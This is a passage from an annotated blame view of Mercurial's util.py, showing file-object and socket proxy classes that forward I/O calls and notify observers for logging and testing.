Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   508
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   509
            r'close', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   510
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   511
    def fileno(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   512
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   513
            r'fileno', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   514
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   515
    def flush(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   516
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   517
            r'flush', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   518
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   519
    def isatty(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   520
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   521
            r'isatty', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   522
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   523
    def readable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   524
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   525
            r'readable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   526
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   527
    def readline(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   528
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   529
            r'readline', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   530
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   531
    def readlines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   532
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   533
            r'readlines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   534
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   535
    def seek(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   536
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   537
            r'seek', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   538
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   539
    def seekable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   540
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   541
            r'seekable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   542
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   543
    def tell(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   544
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   545
            r'tell', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   546
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   547
    def truncate(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   548
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   549
            r'truncate', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   550
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   551
    def writable(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   552
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   553
            r'writable', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   554
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   555
    def writelines(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   556
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   557
            r'writelines', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   558
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   559
    def read(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   560
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   561
            r'read', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   562
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   563
    def readall(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   564
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   565
            r'readall', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   566
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   567
    def readinto(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   568
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   569
            r'readinto', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   570
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   571
    def write(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   572
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   573
            r'write', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   574
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   575
    def detach(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   576
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   577
            r'detach', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   578
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   579
    def read1(self, *args, **kwargs):
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   580
        return object.__getattribute__(self, r'_observedcall')(
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   581
            r'read1', *args, **kwargs)
bfe38f787d5b util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36462
diff changeset
   582
36554
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   583
class observedbufferedinputpipe(bufferedinputpipe):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   584
    """A variation of bufferedinputpipe that is aware of fileobjectproxy.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   585
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   586
    ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   587
    bypass ``fileobjectproxy``. Because of this, we need to make
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   588
    ``bufferedinputpipe`` aware of these operations.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   589
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   590
    This variation of ``bufferedinputpipe`` can notify observers about
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   591
    ``os.read()`` events. It also re-publishes other events, such as
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   592
    ``read()`` and ``readline()``.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   593
    """
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   594
    def _fillbuffer(self):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   595
        res = super(observedbufferedinputpipe, self)._fillbuffer()
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   596
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   597
        fn = getattr(self._input._observer, r'osread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   598
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   599
            fn(res, _chunksize)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   600
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   601
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   602
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   603
    # We use different observer methods because the operation isn't
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   604
    # performed on the actual file object but on us.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   605
    def read(self, size):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   606
        res = super(observedbufferedinputpipe, self).read(size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   607
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   608
        fn = getattr(self._input._observer, r'bufferedread', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   609
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   610
            fn(res, size)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   611
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   612
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   613
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   614
    def readline(self, *args, **kwargs):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   615
        res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   616
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   617
        fn = getattr(self._input._observer, r'bufferedreadline', None)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   618
        if fn:
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   619
            fn(res)
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   620
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   621
        return res
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36553
diff changeset
   622
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   623
PROXIED_SOCKET_METHODS = {
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   624
    r'makefile',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   625
    r'recv',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   626
    r'recvfrom',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   627
    r'recvfrom_into',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   628
    r'recv_into',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   629
    r'send',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   630
    r'sendall',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   631
    r'sendto',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   632
    r'setblocking',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   633
    r'settimeout',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   634
    r'gettimeout',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   635
    r'setsockopt',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   636
}
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   637
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   638
class socketproxy(object):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   639
    """A proxy around a socket that tells a watcher when events occur.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   640
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   641
    This is like ``fileobjectproxy`` except for sockets.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   642
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   643
    This type is intended to only be used for testing purposes. Think hard
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   644
    before using it in important code.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   645
    """
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   646
    __slots__ = (
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   647
        r'_orig',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   648
        r'_observer',
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   649
    )
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   650
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   651
    def __init__(self, sock, observer):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   652
        object.__setattr__(self, r'_orig', sock)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   653
        object.__setattr__(self, r'_observer', observer)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   654
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   655
    def __getattribute__(self, name):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   656
        if name in PROXIED_SOCKET_METHODS:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   657
            return object.__getattribute__(self, name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   658
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   659
        return getattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   660
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   661
    def __delattr__(self, name):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   662
        return delattr(object.__getattribute__(self, r'_orig'), name)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   663
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   664
    def __setattr__(self, name, value):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   665
        return setattr(object.__getattribute__(self, r'_orig'), name, value)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   666
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   667
    def __nonzero__(self):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   668
        return bool(object.__getattribute__(self, r'_orig'))
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   669
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   670
    __bool__ = __nonzero__
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   671
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   672
    def _observedcall(self, name, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   673
        # Call the original object.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   674
        orig = object.__getattribute__(self, r'_orig')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   675
        res = getattr(orig, name)(*args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   676
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   677
        # Call a method on the observer of the same name with arguments
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   678
        # so it can react, log, etc.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   679
        observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   680
        fn = getattr(observer, name, None)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   681
        if fn:
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   682
            fn(res, *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   683
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   684
        return res
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   685
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   686
    def makefile(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   687
        res = object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   688
            r'makefile', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   689
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   690
        # The file object may be used for I/O. So we turn it into a
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   691
        # proxy using our observer.
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   692
        observer = object.__getattribute__(self, r'_observer')
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   693
        return makeloggingfileobject(observer.fh, res, observer.name,
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   694
                                     reads=observer.reads,
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   695
                                     writes=observer.writes,
37047
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   696
                                     logdata=observer.logdata,
d3a9036d9ae9 util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents: 37013
diff changeset
   697
                                     logdataapis=observer.logdataapis)
37013
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   698
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   699
    def recv(self, *args, **kwargs):
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   700
        return object.__getattribute__(self, r'_observedcall')(
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   701
            r'recv', *args, **kwargs)
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   702
8453699a1f21 util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36994
diff changeset
   703
